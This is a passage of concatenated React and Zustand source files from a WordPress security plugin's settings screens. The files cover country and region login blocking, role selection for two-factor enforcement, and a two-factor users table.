        },
    }, 'light');

    const handleSelection = useCallback((state) => {
        setRowsSelected(state.selectedRows);
    }, []);

    const allowRegionByCode = useCallback(async (code, regionName = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => item.id);
            const regions = code.map(item => item.iso2_code);
            let no_error = true;
            regions.forEach((code) => {
                resetRegions(code, dataActions).then(
                    (response) => {
                        if (!response.success) {
                            showSavedSettingsNotice(response.message, 'error');
                            no_error = false;
                        }
                    });
            });
            if(no_error) {
                showSavedSettingsNotice(__('Selected regions are now allowed', 'really-simple-ssl'));
            }
            setRowsSelected([]);
        } else {
            await resetRegions(code, dataActions);
            showSavedSettingsNotice(__('%s is now allowed', 'really-simple-ssl')
                .replace('%s', regionName));
        }
        await fetchDynamicData('event_log');
    }, [resetRegions, getCurrentFilter(moduleName), dataActions]);


    const allowMultiple = useCallback((rows) => {
        const ids = rows.map(item => item.id);
        resetMultiRow(ids, dataActions).then((response) => {
            if (response && response.success) {
                showSavedSettingsNotice(response.message);
            } else {
                showSavedSettingsNotice(response.message, 'error');
            }
        });
    }, [resetMultiRow, getCurrentFilter(moduleName), dataActions]);

    const allowById = useCallback((id) => {
        resetRow(id, dataActions).then(
            (response) => {
                if (response.success) {
                    showSavedSettingsNotice(response.message);
                }
            }
        );
    }, [resetRow, getCurrentFilter(moduleName), dataActions]);

    const blockRegionByCode = useCallback(async (code, region = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => item.id);
            const regions = code.map(item => item.iso2_code);
            await updateRowRegion(regions, 'blocked', dataActions).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );
        } else {
            updateRowRegion(code, 'blocked', dataActions).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                });
        }

        await fetchDynamicData('event_log');

    }, [addRegion, getCurrentFilter(moduleName), dataActions]);

    const blockCountryByCode = useCallback(async (code) => {
        if (Array.isArray(code)) {
            const ids = code.map(item => item.iso2_code);

            await updateRow(ids, 'blocked', dataActions).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );

            setRowsSelected([]);
        } else {
            await updateRow(code, 'blocked', dataActions).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );
        }

        await fetchDynamicData('event_log');

    }, [updateRow, addRowMultiple, dataActions, getCurrentFilter(moduleName)]);

    const data = {...CountryDataTable.data};

    const generateFlag = useCallback((flag, title) => (
        <>
            <Flag
                countryCode={flag}
                style={{
                    fontSize: '2em',
                }}
                title={title}
                continent={(getCurrentFilter(moduleName) === 'regions')}
            />
        </>
    ), []);

    const ActionButton = ({onClick, children, className}) => (
        // <div className={`rsssl-action-buttons__inner`}>
        <button
            className={`button ${className} rsssl-action-buttons__button`}
            onClick={onClick}
            disabled={processing}
        >
            {children}
        </button>
        // </div>
    );

    const generateActionButtons = useCallback((id, status, region_name, db_id ) => (
        <div className="rsssl-action-buttons">
            {getCurrentFilter(moduleName) === 'blocked' && (
                <ActionButton onClick={() => allowById(id)}
                              className="button-secondary">
                    {__("Allow", "really-simple-ssl")}
                </ActionButton>
            )}
            {getCurrentFilter(moduleName) === 'regions' && (
                <>
                    <ActionButton
                        onClick={() => blockRegionByCode(id, region_name)} className="button-primary">
                        {__("Block", "really-simple-ssl")}
                    </ActionButton>
                    <ActionButton
                        onClick={() => allowRegionByCode(id, region_name)} className="button-secondary">
                        {__("Allow", "really-simple-ssl")}
                    </ActionButton>
                </>
            )}
            {getCurrentFilter(moduleName) === 'countries' && (
                <>
                    {status === 'blocked' ? (
                        <ActionButton
                            onClick={() => allowById(db_id)} className="button-secondary">
                            {__("Allow", "really-simple-ssl")}
                        </ActionButton>
                    ) : (
                        <ActionButton
                            onClick={() => blockCountryByCode(id)} className="button-primary">
                            {__("Block", "really-simple-ssl")}
                        </ActionButton>
                    )}
                </>
            )}
        </div>
    ), [getCurrentFilter, moduleName, allowById, blockRegionByCode, allowRegionByCode, blockCountryByCode]);


    for (const key in data) {
        const dataItem = {...data[key]};
        if (getCurrentFilter(moduleName) === 'regions' || getCurrentFilter(moduleName) === 'countries') {
            dataItem.action = generateActionButtons(dataItem.attempt_value, dataItem.status, dataItem.region, dataItem.db_id);
        } else {
            dataItem.action = generateActionButtons(dataItem.id);
        }
        dataItem.attempt_value = generateFlag(dataItem.attempt_value, dataItem.country_name);
        dataItem.status = __(dataItem.status = dataItem.status.charAt(0).toUpperCase() + dataItem.status.slice(1), 'really-simple-ssl');
        data[key] = dataItem;
    }

    const options = Object.entries(props.field.options).map(([value, label]) => ({value, label}));

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);

    return (
        <>
            <div className="rsssl-container">
                <div>
                    {/* reserved for left side buttons */}
                </div>
                <SearchBar handleSearch={handleCountryTableSearch} searchableColumns={searchableColumns}/>
            </div>
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}
                >
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            {getCurrentFilter(moduleName) === 'countries' && (
                                <>
                                    <ActionButton
                                        onClick={() => blockCountryByCode(rowsSelected)} className="button-primary">
                                        {__("Block", "really-simple-ssl")}
                                    </ActionButton>
                                </>
                            )}
                            {getCurrentFilter(moduleName) === 'blocked' && (
                                <ActionButton
                                    onClick={() => allowMultiple(rowsSelected)}>
                                    {__("Allow", "really-simple-ssl")}
                                </ActionButton>
                            )}
                            {getCurrentFilter(moduleName) === 'regions' && (
                                <>
                                    <ActionButton
                                        onClick={() => blockRegionByCode(rowsSelected)} className="button-primary">
                                        {__("Block", "really-simple-ssl")}
                                    </ActionButton>
                                    <ActionButton
                                        onClick={() => allowRegionByCode(rowsSelected)} className="button-secondary">
                                        {__("Allow", "really-simple-ssl")}
                                    </ActionButton>

                                </>
                            )}
                        </div>
                    </div>
                </div>
            )}
            <DataTable
                columns={columns}
                data={Object.values(data)}
                dense
                pagination={!processing}
                paginationServer
                paginationTotalRows={paginationSet ? pagination.totalRows : 10}
                paginationPerPage={paginationSet ? pagination.perPage : 10}
                paginationDefaultPage={paginationSet ? pagination.currentPage : 1}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                onChangeRowsPerPage={handleCountryTableRowsChange}
                onChangePage={handleCountryTablePageChange}
                sortServer={!processing}
                onSort={handleCountryTableSort}
                paginationRowsPerPageOptions={[10, 25, 50, 100]}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={!processing}
                clearSelectedRows={rowCleared}
                onSelectedRowsChange={handleSelection}
                theme="really-simple-plugins"
                customStyles={customStyles}
            />
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Limit login attempts to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    );
}

export default CountryDatatable;
really-simple-ssl/settings/src/Settings/LimitLoginAttempts/CountryDataTableStore.js000064400000017174147510273070024742 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";

const CountryDataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {
        page: 1,
        pageSize: 10,
        sortColumn: 'country_name',
        sortDirection: 'asc',
        filterColumn: '',
        filterValue: '',
        search: '',
        searchColumns: ['country_name']
    },
    CountryDataTable: [],
    rowCleared: false,
    setDataActions: async (data) => {
        set(produce((state) => {
                state.dataActions = data;
            })
        );
    },
    fetchData: async (action, dataActions) => {
        //we check if the processing is already true, if so we return
        set({processing: true});
        set({dataLoaded: false});
        set({rowCleared: true});

        if (Object.keys(dataActions).length === 0) {
            return;
        }
        try {
            const response = await rsssl_api.doAction(
                action,
                dataActions
            );
            //now we set the EventLog
            if (response && response.request_success) {
                set({CountryDataTable: response, dataLoaded: true, processing: false, pagination: response.pagination});
            }
            set({ rowCleared: true });
        } catch (e) {
            console.log(e);
        } finally {
            set({processing: false});
            set({rowCleared: false});

        }
    },

    handleCountryTableSearch: async (search, searchColumns) => {
        //Add the search to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            })
        );
    },

    handleCountryTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },

    handleCountryTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    //this handles all pagination and sorting
    handleCountryTableSort: async (column, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },

    handleCountryTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },

    /*
* This function add a new row to the table
 */
    updateRow: async (value, status, dataActions) => {
        set({processing: true});
        let data = {
            value: value,
            status: status
        };
        try {
            const response = await rsssl_api.doAction(
                'country_update_row',
                data
            );
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                await get().fetchData('rsssl_limit_login_country', dataActions);
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to add country', response };
            }
        } catch (e) {
            console.log(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },
    updateRowRegion: async (value, status, dataActions) => {
        set({processing: true});
        let data = {
            value: value,
            status: status
        };
        try {
            const response = await rsssl_api.doAction(
                'region_update_row',
                data
            );
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                await get().fetchData('rsssl_limit_login_country', dataActions);
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to add region', response };
            }
        } catch (e) {
            console.log(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetRegions: async (region, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries_regions',
                {value: region}
            );
            //now we set the EventLog
            if (response && response.success) {
                await get().fetchData('rsssl_limit_login_country', dataActions);
                return { success: true, message: response.message, response };
            } else {
                return { success: false, message: response?.message || 'Failed to reset region', response };
            }
        } catch (e) {
            console.error(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetRow: async (id, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {id}
            );
            //now we set the EventLog
            if (response  && response.success) {
                await get().fetchData('rsssl_limit_login_country', dataActions);
                return { success: true, message: response.message, response };
            } else {
                return { success: false, message: response?.message || 'Failed to reset country', response };
            }
        } catch (e) {
            console.error(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    resetMultiRow: async (ids, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'delete_entries',
                {ids}
            );
            //now we set the EventLog
            if (response && response.success) {
                await get().fetchData('rsssl_limit_login_country', dataActions);
                return { success: true, message: response.message, response };
            } else {
                return { success: false, message: response?.message || 'Failed to reset country', response };
            }
        } catch (e) {
            console.error(e);
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    }
}));

export default CountryDataTableStore;really-simple-ssl/settings/src/Settings/TwoFA/RolesStore.js000064400000002501147510273070017774 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";
const useRolesData = create(( set, get ) => ({
    roles: [],
    rolesLoaded:false,
    fetchRoles: async ( id ) => {
        try {
            // Fetch the roles from the server using rsssl_api.getUserRoles()
            const response = await rsssl_api.doAction('get_roles', { id: id });

            // Handle the response
            if ( !response ) {
                console.error('No response received from the server.');
                return;
            }

            const data = response.roles;
            if (typeof data !== 'object') {
                console.error('Invalid data received in the server response. Expected an object.');
                return;
            }

            // Convert the object to an array
            const dataArray = Object.values(data);

            // Format the data into options array for react-select

            const formattedData = dataArray.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) }));
            // Set the roles state with formatted data
            set({roles: formattedData,rolesLoaded:true  });


        } catch (error) {
            console.error('Error:', error);
        }
    }
}));

export default useRolesData;

really-simple-ssl/settings/src/Settings/TwoFA/TwoFaRolesDropDown.js000064400000012672147510273070021407 0ustar00import {useRef, useEffect, useState} from '@wordpress/element';
import Select from 'react-select';
import useFields from "../FieldsData";
import useRolesData from './RolesStore';
import {__} from "@wordpress/i18n";
import './select.scss';

/**
 * TwoFaRolesDropDown component represents a dropdown select for excluding roles
 * from two-factor authentication email.
 * @param {object} field - The field object containing information about the field.
 * @param forcedRoledId
 * @param optionalRolesId
 */
const TwoFaRolesDropDown = ({ field, forcedRoledId, optionalRolesId }) => {
    const {fetchRoles, roles, rolesLoaded} = useRolesData();
    const [selectedRoles, setSelectedRoles] = useState([]);
    const [otherRoles, setOtherRoles] = useState([]);
    // Custom hook to manage form fields
    const { updateField, getFieldValue, setChangedField, getField, fieldsLoaded, showSavedSettingsNotice, saveField } = useFields();

    let enabled = true;

    useEffect(() => {
        if (!rolesLoaded) {
            fetchRoles(field.id);
        }

    }, [rolesLoaded]);


    useEffect(() => {
        if ( field.id === forcedRoledId ) {
            let otherField = getField(optionalRolesId);
            let roles = Array.isArray(otherField.value) ? otherField.value : [];
            setOtherRoles(roles);
        } else {
            let otherField = getField(forcedRoledId);
            let roles = Array.isArray(otherField.value) ? otherField.value : [];
            setOtherRoles(roles);
        }
    }, [selectedRoles, getField(optionalRolesId), getField(forcedRoledId)]);

    useEffect(() => {
       if ( !field.value ) {
            setChangedField(field.id, field.default);
            updateField(field.id, field.default);
            setSelectedRoles(field.default.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));
       } else {
           setSelectedRoles(field.value.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));

       }
    },[fieldsLoaded]);

    /**
     * Handles the change event of the react-select component.
     * @param {array} selectedOptions - The selected options from the dropdown.
     */
    const handleChange = (selectedOptions) => {
        // Extract the values of the selected options
        const rolesExcluded = selectedOptions.map(option => option.value);

        // Check if the roles enabled are also set, if not show a warning
        let rolesEnabledEmail = getFieldValue('two_fa_enabled_roles_email');
        let rolesEnabledTotp = getFieldValue('two_fa_enabled_roles_totp');
        let rolesEnabled = rolesEnabledEmail.concat(rolesEnabledTotp);

        // Check if the roles enabled also contains the selectedOptions
        let rolesEnabledContainsSelected = rolesEnabled.filter(role => selectedOptions.map(option => option.value).includes(role));

        if ( rolesEnabledContainsSelected.length === 0 && selectedOptions.length > 0 ) {
            showSavedSettingsNotice(__('You have enforced 2FA, but not configured any methods.', 'really-simple-ssl'), 'error');
        } else {
            // Checking each role if it is in the rolesEnabled array
            selectedOptions.forEach(role => {
                //the role.value needs to be in the rolesEnabled array
                if ( !rolesEnabled.includes(role.value) ) {
                    // showing an error when the role is not in the rolesEnabled array, with the role name
                    showSavedSettingsNotice(__('You have enforced 2FA, but not configured any methods for the role: ', 'really-simple-ssl') + role.label, 'error');
                }
            });
        }

        // Update the selectedRoles state
        setSelectedRoles(selectedOptions);

        // Update the field and changedField using the custom hook functions
        updateField(field.id, rolesExcluded);
        setChangedField(field.id, rolesExcluded);
    };

    const customStyles = {
        multiValue: (provided) => ({
            ...provided,
            borderRadius: '10px',
            backgroundColor: field.id === forcedRoledId ? '#F5CD54' :
                field.id === optionalRolesId ? '#FDF5DC' : 'default',
        }),
        multiValueRemove: (base, state) => ({
            ...base,
            color: state.isHovered ? 'initial' : base.color,
            opacity: '0.7',
            ':hover': {
                backgroundColor: 'initial',
                color: 'initial',
                opacity: '1',
            },
        })
    };

    if (field.id === optionalRolesId) {
        enabled = getFieldValue('login_protection_enabled');
    }

    const alreadySelected = selectedRoles.map(option => option.value);
    let filteredRoles = [];
    let inRolesInUse = [...alreadySelected, ...otherRoles];
    //from roles, remove roles in the usedRoles array
    roles.forEach(function (item, i) {
        if ( Array.isArray(inRolesInUse) && inRolesInUse.includes(item.value) ) {
            filteredRoles.splice(i, 1);
        } else {
            filteredRoles.push(item);
        }
    });

    return (
        <div style={{marginTop: '5px'}}>
            <Select
                isMulti
                options={filteredRoles}
                onChange={handleChange}
                value={selectedRoles}
                menuPosition={"fixed"}
                styles={customStyles}
                isDisabled={!getFieldValue('login_protection_enabled')}
            />
        </div>
    );
};

export default TwoFaRolesDropDown;
really-simple-ssl/settings/src/Settings/TwoFA/TwoFaEnabledDropDown.js000064400000011703147510273070021647 0ustar00import {useRef, useEffect, useState} from '@wordpress/element';
import Select from 'react-select';
import useFields from "../FieldsData";
import useRolesData from './RolesStore';
import {__} from "@wordpress/i18n";
// import './select.scss';
/**
 * TwoFaRolesDropDown component represents a dropdown select for excluding roles
 * from two-factor authentication email.
 * @param {object} field - The field object containing information about the field.
 * @param enabledId
 */
const TwoFaEnabledDropDown = ({ field }) => {
    const {fetchRoles, roles, rolesLoaded} = useRolesData();
    const [selectedRoles, setSelectedRoles] = useState([]);
    const [otherRoles, setOtherRoles] = useState([]);
    // Custom hook to manage form fields
    const { updateField, getFieldValue, setChangedField, getField, fieldsLoaded,saveFields } = useFields();
    const [enabled, setEnabled] = useState(false);
    let enabledId = field.id;

    let featureEnabled = getFieldValue('login_protection_enabled');

    //if the field enforce_frequent_password_change is enabled, then the field is enabled
    useEffect(() => {
        setEnabled(getFieldValue('login_protection_enabled'));
        if(getFieldValue('login_protection_enabled') === 1 && field.id === 'two_fa_enabled_roles_totp') {
            setChangedField(field.id, field.value);
            saveFields(true, false);
        }
    },[getFieldValue('login_protection_enabled')]);


    useEffect(() => {
        if (!rolesLoaded) {
            fetchRoles(field.id);
        }

    }, [rolesLoaded]);


    useEffect(() => {
        if ( field.id === enabledId ) {
            let otherField = getField(enabledId);
            let roles = Array.isArray(otherField.value) ? otherField.value : [];
            setOtherRoles(roles);
        }
    }, [selectedRoles, getField(enabledId)]);

    useEffect(() => {
        if ( field.id === enabledId ) {
            let otherField = getField(enabledId);
            let roles = Array.isArray(otherField.value) ? otherField.value : [];
            setSelectedRoles(roles.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));
        }
       if ( !field.value ) {
            setChangedField(field.id, field.default);
            updateField(field.id, field.default);
            setSelectedRoles(field.default.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));
       }
    },[fieldsLoaded]);

    /**
     * Handles the change event of the react-select component.
     * @param {array} selectedOptions - The selected options from the dropdown.
     */
    const handleChange = (selectedOptions) => {
        // Extract the values of the selected options
        const rolesExcluded = selectedOptions.map(option => option.value);

        // Update the selectedRoles state
        setSelectedRoles(selectedOptions);

        // Update the field and changedField using the custom hook functions
        updateField(field.id, rolesExcluded);
        setChangedField(field.id, rolesExcluded);
    };

    const customStyles = {
        multiValue: (provided) => ({
            ...provided,
            borderRadius: '10px',
            backgroundColor: field.id === enabledId ? '#F5CD54' :
                field.id === enabledId ? '#FDF5DC' : 'default',
        }),
        multiValueRemove: (base, state) => ({
            ...base,
            color: state.isHovered ? 'initial' : base.color,
            opacity: '0.7',
            ':hover': {
                backgroundColor: 'initial',
                color: 'initial',
                opacity: '1',
            },
        }),
        menuPortal: (base) => ({
            ...base,
            zIndex: 30, // Adding z-index directly here
        }),
    };

    const alreadySelected = selectedRoles.map(option => option.value);
    let filteredRoles = [];
    let inRolesInUse = [...alreadySelected, ...otherRoles];
    //from roles, remove roles in the usedRoles array
    roles.forEach(function (item, i) {
        if ( Array.isArray(inRolesInUse) && inRolesInUse.includes(item.value) ) {
            filteredRoles.splice(i, 1);
        } else {
            filteredRoles.push(item);
        }
    });

    return (
        <div style={{marginTop: '5px'}}>
            <Select
                isMulti
                options={filteredRoles}
                onChange={handleChange}
                value={selectedRoles}
                menuPosition={"fixed"}
                styles={customStyles}
                isDisabled={!enabled}
            />
            {! featureEnabled &&
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Two-Factor Authentication to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            }
        </div>
    );
};

export default TwoFaEnabledDropDown;
really-simple-ssl/settings/src/Settings/TwoFA/TwoFaDataTableStore.js000064400000011232147510273070021473 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";
import apiFetch from "@wordpress/api-fetch";

const DynamicDataTableStore = create((set, get) => ({
    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {currentPage:1, currentRowsPerPage:5, filterValue: 'all',filterColumn: 'rsssl_two_fa_status'},
    totalRecords:0,
    DynamicDataTable: [],

    setDataLoaded: (dataLoaded) => set((state) => ({ ...state, dataLoaded: dataLoaded })),
    resetUserMethod: async (id, optionalRoles, currentRole) => {
        if (get().processing) {
            return;
        }
        if ( optionalRoles.includes(currentRole) ) {
            set({processing: true});
            set({dataLoaded: false});
            const response = await apiFetch({
                path: `/wp/v2/users/${id}`,
                method: 'POST',
                data: {
                    meta: {
                        rsssl_two_fa_status_email: 'open',
                        rsssl_two_fa_status_totp: 'open',
                    },
                    _wpnonce: rsssl_settings.nonce,
                },
            }).catch((error) => {
                console.error(error);
            });
            set({processing: false});
            set({dataLoaded: true});
        }
    },
    hardResetUser: async (id) => {
        if (get().processing) return;
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'two_fa_reset_user',
                {id}
            );
            if (response) {
                set(state => ({
                    ...state,
                    processing: false,
                }));
                // Return the response for the calling function to use
                return response;
            }
        } catch (e) {
            console.log(e);
        }
    },
    fetchDynamicData: async () => {
        if (get().processing) return;
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                'two_fa_table',
                get().dataActions
            );
            if (response && response.data) {
                set(state => ({
                    ...state,
                    DynamicDataTable: response.data,
                    dataLoaded: true,
                    processing: false,
                    pagination: response.pagination,
                    totalRecords: response.totalRecords,
                }));
                // Return the response for the calling function to use
                return response;
            } else {
                set(state => ({
                    ...state,
                    processing: false,
                    dataLoaded: true,
                }));
            }
        } catch (e) {
            console.log(e);
        }
    },

    handleTableSearch: async (search, searchColumns) => {
        const typingTimer = setTimeout(async () => {
            set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            }));
            await get().fetchDynamicData();
        }, 500);

        return () => {
            clearTimeout(typingTimer);
        };
    },

    handlePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentPage: page};
            })
        );
        await get().fetchDynamicData();
    },

    handleRowsPerPageChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
        await get().fetchDynamicData();
    },

    //this handles all pagination and sorting
    handleTableSort: async (sortColumn, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: sortColumn.column, sortDirection};
            })
        );
        await get().fetchDynamicData();
    },

    handleUsersTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
        // Fetch the data again
        await get().fetchDynamicData();
    },

}));

export default DynamicDataTableStore;really-simple-ssl/settings/src/Settings/TwoFA/TwoFaDataTable.js000064400000030333147510273070020461 0ustar00import {__} from '@wordpress/i18n';
import {useEffect, useState} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import useFields from "../FieldsData";
import TwoFaDataTableStore from "./TwoFaDataTableStore";
import FilterData from "../FilterData";

const DynamicDataTable = (props) => {
    const {
        resetUserMethod,
        hardResetUser,
        handleUsersTableFilter,
        totalRecords,
        DynamicDataTable,
        setDataLoaded,
        dataLoaded,
        fetchDynamicData,
        handleTableSort,
        processing
    } = TwoFaDataTableStore();

    const {
        setSelectedFilter,
        getCurrentFilter
    } = FilterData();

    const moduleName = 'rsssl-group-filter-two_fa_users';

    let field = props.field;
    const [enabled, setEnabled] = useState(false);
    const [reloadWhenSaved, setReloadWhenSaved] = useState(false);
    const {fields, getFieldValue, changedFields} = useFields();
    const [rowsSelected, setRowsSelected] = useState([]);
    const [rowCleared, setRowCleared] = useState(false);
    const [data, setData] = useState([]);
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(5);

    useEffect(() => {
        if (!dataLoaded) {
            fetchDynamicData();
        } else {
            setData(DynamicDataTable);
        }
    }, [dataLoaded, DynamicDataTable]);

    useEffect(() => {
        setReloadWhenSaved(true);
        setDataLoaded(false);
    }, [getFieldValue('two_fa_forced_roles'), getFieldValue('two_fa_optional_roles'), getFieldValue('two_fa_forced_roles_totp'), getFieldValue('two_fa_optional_roles_totp')]);

    useEffect(() => {
        if (reloadWhenSaved) {
            if (changedFields.length === 0) {
                setDataLoaded(false);
                setReloadWhenSaved(false);
            }
        }
    }, [reloadWhenSaved]);

    const handleTableSearch = (value, columns) => {
        const search = value.toLowerCase();
        const searchColumns = columns;
        const filteredData = DynamicDataTable.filter((item) => {
            return searchColumns.some((column) => {
                return item[column].toString().toLowerCase().includes(search);
            });
        });
        setData(filteredData);
    }

    useEffect(() => {
        if (dataLoaded) {
            const currentFilter = getCurrentFilter(moduleName);
            if (!currentFilter) {
                setSelectedFilter('all', moduleName);
            }
            setRowCleared(true);
            handleUsersTableFilter('rsssl_two_fa_status', currentFilter);
        }
    }, [getCurrentFilter(moduleName)]);

    useEffect(() => {
        let enabledEmailRoles = getFieldValue('two_fa_enabled_roles_email');
        let enabledTotpRoles = getFieldValue('two_fa_enabled_roles_totp');
        let enabledRoles = enabledEmailRoles.concat(enabledTotpRoles);
        setEnabled(getFieldValue('login_protection_enabled'));
    }, [fields]);

    useEffect(() => {
        if (!dataLoaded || enabled !== (getFieldValue('two_fa_enabled_email') || getFieldValue('two_fa_enabled_totp'))) {
            setDataLoaded(false);
        }
    }, [getFieldValue('two_fa_enabled'), getFieldValue('two_fa_enabled_totp')]);

    const allAreForced = (users) => {
        let forcedRoles = getFieldValue('two_fa_forced_roles');
        let forcedRolesTotp = getFieldValue('two_fa_forced_roles_totp');
        if (!Array.isArray(forcedRoles)) {
            forcedRoles = [];
        }
        if (!Array.isArray(forcedRolesTotp)) {
            forcedRolesTotp = [];
        }
        if (Array.isArray(users)) {
            for (const user of users) {
                if (user.user_role === undefined) {
                    return true;
                }
                if (user.rsssl_two_fa_providers.toLowerCase() === 'none') {
                    return true;
                }
                if (user.status_for_user.toLowerCase() === 'active' || user.status_for_user.toLowerCase() === 'disabled' || user.status_for_user.toLowerCase() === 'expired') {
                    return false;
                }
                if (!forcedRoles.includes(user.user_role.toLowerCase()) && !forcedRolesTotp.includes(user.user_role.toLowerCase())) {
                    return false;
                }
            }
            return true;
        } else {
            if (users.user_role === undefined) {
                return true;
            }
            if (users.status_for_user.toLowerCase() === 'active' || users.status_for_user.toLowerCase() === 'disabled' || users.status_for_user.toLowerCase() === 'expired') {
                return false;
            }
            return (forcedRoles.includes(users.user_role.toLowerCase()) || forcedRolesTotp.includes(users.user_role.toLowerCase()));
        }
    }

    const allAreOpen = (users) => {
        if (Array.isArray(users)) {
            for (const user of users) {
                if (user.status_for_user.toLowerCase() !== 'open') {
                    return false;
                }
            }
            return true;
        } else {
            return users.status_for_user.toLowerCase() === 'open';
        }
    }

    const buildColumn = (column) => {
        return {
            name: column.name,
            column: column.column,
            sortable: column.sortable,
            searchable: column.searchable,
            width: column.width,
            visible: column.visible,
            selector: row => row[column.column],
        };
    }

    let columns = [];

    field.columns.forEach(function (item, i) {
        let newItem = { ...item, key: item.column };
        newItem = buildColumn(newItem);
        newItem.visible = newItem.visible ?? true;
        columns.push(newItem);
    });

    let searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    const handleReset = async (users) => {
        let resetRolesEmail = getFieldValue('two_fa_forced_roles_email');
        let resetRolesTotp = getFieldValue('two_fa_forced_roles_totp');
